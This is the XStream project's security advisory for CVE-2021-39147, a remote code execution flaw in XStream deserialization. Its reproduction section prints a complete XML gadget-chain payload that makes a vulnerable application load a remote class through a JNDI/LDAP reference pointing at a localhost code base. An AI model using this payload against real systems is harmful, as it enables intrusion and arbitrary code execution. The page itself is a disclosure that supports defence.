Software
- About XStream
- News
- Change History
- Security Aspects
- About Versioning

Evaluating XStream
- Two Minute Tutorial
- License
- Download
- References
- Benchmarks
- Code Statistics

Using XStream
- Architecture Overview
- Object references
- Tweaking the Output
- Converters
- Frequently Asked Questions
- Mailing Lists
- Reporting Issues

Javadoc
- XStream Core
- Hibernate Extensions
- JMH Module

Tutorials
- Two Minute Tutorial
- Alias Tutorial
- Annotations Tutorial
- Converter Tutorial
- Object Streams Tutorial
- Persistence API Tutorial
- JSON Tutorial
- StudyTrails

Developing XStream
- How to Contribute
- Development Team
- Source Repository
- Continuous Integration

CVE-2021-39147

Vulnerability

CVE-2021-39147: XStream is vulnerable to an Arbitrary Code Execution attack.

Affected Versions

All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

Steps to Reproduce

Create a simple TreeSet and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

```
<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
      <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
        <parsedMessage>true</parsedMessage>
        <soapVersion>SOAP_11</soapVersion>
        <bodyParts/>
        <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
          <attachmentsInitialized>false</attachmentsInitialized>
          <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
            <soapPart/>
            <mm>
              <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                <aliases class='com.sun.jndi.ldap.LdapSearchEnumeration'>
                  <listArg class='javax.naming.CompoundName' serialization='custom'>
                    <javax.naming.CompoundName>
                      <properties/>
                      <int>1</int>
                      <string>ysomap</string>
                    </javax.naming.CompoundName>
                  </listArg>
                  <cleaned>false</cleaned>
                  <res>
                    <msgId>0</msgId>
                    <status>0</status>
                  </res>
                  <enumClnt>
                    <isLdapv3>false</isLdapv3>
                    <referenceCount>0</referenceCount>
                    <pooled>false</pooled>
                    <authenticateCalled>false</authenticateCalled>
                  </enumClnt>
                  <limit>1</limit>
                  <posn>0</posn>
                  <homeCtx>
                    <__contextType>0</__contextType>
                    <port__number>1099</port__number>
                    <hostname>127.0.0.1</hostname>
                    <clnt reference='../../enumClnt'/>
                    <handleReferrals>0</handleReferrals>
                    <hasLdapsScheme>true</hasLdapsScheme>
                    <netscapeSchemaBug>false</netscapeSchemaBug>
                    <referralHopLimit>0</referralHopLimit>
                    <batchSize>0</batchSize>
                    <deleteRDN>false</deleteRDN>
                    <typesOnly>false</typesOnly>
                    <derefAliases>0</derefAliases>
                    <addrEncodingSeparator/>
                    <connectTimeout>0</connectTimeout>
                    <readTimeout>0</readTimeout>
                    <waitForReply>false</waitForReply>
                    <replyQueueSize>0</replyQueueSize>
                    <useSsl>false</useSsl>
                    <useDefaultPortNumber>false</useDefaultPortNumber>
                    <parentIsLdapCtx>false</parentIsLdapCtx>
                    <hopCount>0</hopCount>
                    <unsolicited>false</unsolicited>
                    <sharable>false</sharable>
                    <enumCount>1</enumCount>
                    <closeRequested>false</closeRequested>
                  </homeCtx>
                  <more>true</more>
                  <hasMoreCalled>true</hasMoreCalled>
                  <startName class='javax.naming.ldap.LdapName' serialization='custom'>
                    <javax.naming.ldap.LdapName>
                      <default/>
                      <string>uid=ysomap,ou=oa,dc=example,dc=com</string>
                    </javax.naming.ldap.LdapName>
                  </startName>
                  <searchArgs>
                    <name class='javax.naming.CompoundName' reference='../../listArg'/>
                    <filter>ysomap</filter>
                    <cons>
                      <searchScope>1</searchScope>
                      <timeLimit>0</timeLimit>
                      <derefLink>false</derefLink>
                      <returnObj>true</returnObj>
                      <countLimit>0</countLimit>
                    </cons>
                    <reqAttrs/>
                  </searchArgs>
                  <entries>
                    <com.sun.jndi.ldap.LdapEntry>
                      <DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
                      <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
                        <default>
                          <ignoreCase>false</ignoreCase>
                        </default>
                        <int>4</int>
                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ordered>false</ordered>
                              <attrID>objectClass</attrID>
                            </default>
                            <int>1</int>
                            <string>javaNamingReference</string>
                          </javax.naming.directory.BasicAttribute>
                          <com.sun.jndi.ldap.LdapAttribute>
                            <default>
                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
                                <javax.naming.CompositeName>
                                  <int>0</int>
                                </javax.naming.CompositeName>
                              </rdn>
                            </default>
                          </com.sun.jndi.ldap.LdapAttribute>
                        </com.sun.jndi.ldap.LdapAttribute>
                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ordered>false</ordered>
                              <attrID>javaCodeBase</attrID>
                            </default>
                            <int>1</int>
                            <string>http://127.0.0.1/</string>
                          </javax.naming.directory.BasicAttribute>
                          <com.sun.jndi.ldap.LdapAttribute>
                            <default>
                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
                                <javax.naming.CompositeName>
                                  <int>0</int>
                                </javax.naming.CompositeName>
                              </rdn>
                            </default>
                          </com.sun.jndi.ldap.LdapAttribute>
                        </com.sun.jndi.ldap.LdapAttribute>
                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ordered>false</ordered>
                              <attrID>javaClassName</attrID>
                            </default>
                            <int>1</int>
                            <string>foo</string>
                          </javax.naming.directory.BasicAttribute>
                          <com.sun.jndi.ldap.LdapAttribute>
                            <default>
                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
                                <javax.naming.CompositeName>
                                  <int>0</int>
                                </javax.naming.CompositeName>
                              </rdn>
                            </default>
                          </com.sun.jndi.ldap.LdapAttribute>
                        </com.sun.jndi.ldap.LdapAttribute>
                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ordered>false</ordered>
                              <attrID>javaFactory</attrID>
                            </default>
                            <int>1</int>
                            <string>EvilObj</string>
                          </javax.naming.directory.BasicAttribute>
                          <com.sun.jndi.ldap.LdapAttribute>
                            <default>
                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
                                <javax.naming.CompositeName>
                                  <int>0</int>
                                </javax.naming.CompositeName>
                              </rdn>
                            </default>
                          </com.sun.jndi.ldap.LdapAttribute>
                        </com.sun.jndi.ldap.LdapAttribute>
                      </attributes>
                    </com.sun.jndi.ldap.LdapEntry>
                  </entries>
                </aliases>
              </it>
            </mm>
          </multiPart>
        </sm>
      </message>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
```

```
XStream xstream = new XStream();
xstream.fromXML(xml);
```

Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled.

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

Impact

The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed input stream.

Workarounds

See workarounds for the different versions covering all CVEs.

Credits

wh1t3p1g from TSRC (Tencent Security Response Center) found and reported the issue to XStream and provided the required information to reproduce it.